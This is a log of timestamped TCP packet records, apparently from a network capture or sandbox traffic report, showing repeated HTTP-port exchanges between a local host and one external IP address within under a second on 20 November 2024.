Nov 20, 2024 09:14:48.534089088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534099102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534107924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534133911 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534142971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534158945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534169912 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534182072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534195900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534205914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534209967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534218073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534218073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534230947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534241915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534250975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534252882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534265995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534291029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534291983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534291983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534306049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534312010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534337044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534343004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534348965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534358025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534368992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534373999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534374952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534380913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534392118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534395933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534404993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534415960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534430027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534440041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534461021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534467936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534467936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534497023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534498930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534509897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534521103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534532070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534543037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534548044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534558058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534569025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534579039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534583092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534601927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534609079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534615993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534626961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534637928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534642935 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534648895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534660101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534670115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534676075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534676075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534682035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534693003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534703970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534704924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534713984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534725904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534735918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534743071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534743071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534746885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534759045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534770012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534774065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534780979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534796000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534805059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534815073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534826040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534837008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534841061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534848928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534861088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534861088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534862041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534873009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534883976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534885883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534894943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534900904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534919024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534929991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534940004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534950972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534953117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534953117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534953117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534953117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.534956932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534964085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534971952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534979105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534985065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.534991980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.535026073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.535263062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618583918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618597984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618613958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618669033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618678093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618690968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618702888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618710995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618724108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618736982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618747950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618757010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618815899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618843079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618855953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618866920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618891001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618922949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618941069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618952036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618957996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.618980885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.618988991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619003057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619012117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619031906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619049072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619049072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619128942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619141102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619158983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619159937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619178057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619179964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619189024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619199991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619203091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619211912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619235039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619240999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619252920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619262934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619271994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619282007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619292974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619292974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619302034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619307041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619324923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619333029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619338989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619347095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619362116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619371891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619379044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619379044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619385958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619441032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619443893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619443893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619457006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619469881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619482994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619482994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619561911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619573116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619590044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619592905 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619601011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619613886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619621992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619625092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619640112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619647980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619647980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619661093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619669914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619690895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619690895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619730949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619741917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619752884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619764090 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619765043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619795084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619823933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619823933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619858027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619870901 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619899035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.619909048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619920969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.619956017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620017052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620028019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620038033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620038986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620049000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620074034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620076895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620091915 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620101929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620106936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620122910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620122910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620122910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620151043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620161057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620174885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620187998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620193005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620207071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620218039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620218992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620242119 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620253086 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620260000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620273113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620358944 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620362043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620373964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620393991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620412111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620418072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620424986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620434999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620438099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620455980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620465994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620476961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620477915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620477915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620486975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620507002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620549917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620560884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620572090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620584965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620625973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620630026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620630026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620637894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620651007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620703936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620714903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620726109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620729923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620747089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620803118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620815039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620826960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620836973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620836973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620848894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620858908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620870113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620881081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620884895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620893002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620903969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620904922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.620910883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.620929956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621200085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621253967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621265888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621284008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621294022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621309996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621311903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621331930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621337891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621344090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621356964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621359110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621376038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621431112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621443033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621454000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621454000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621464968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621480942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621486902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621495962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621501923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621525049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621551037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621577978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621587992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621587992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621589899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621601105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621614933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621625900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621628046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621638060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621649981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621695995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621695995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.621706009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621716976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621723890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.621829987 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705632925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705650091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705665112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705732107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705741882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705754042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705761909 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705765009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705779076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705792904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705794096 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705804110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705818892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705837965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705849886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705861092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705867052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705872059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705883980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705902100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705902100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705903053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705936909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705949068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705960035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705967903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.705971003 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.705998898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706031084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706032991 CET	80	49701	42.193.100.57	192.168.2.11
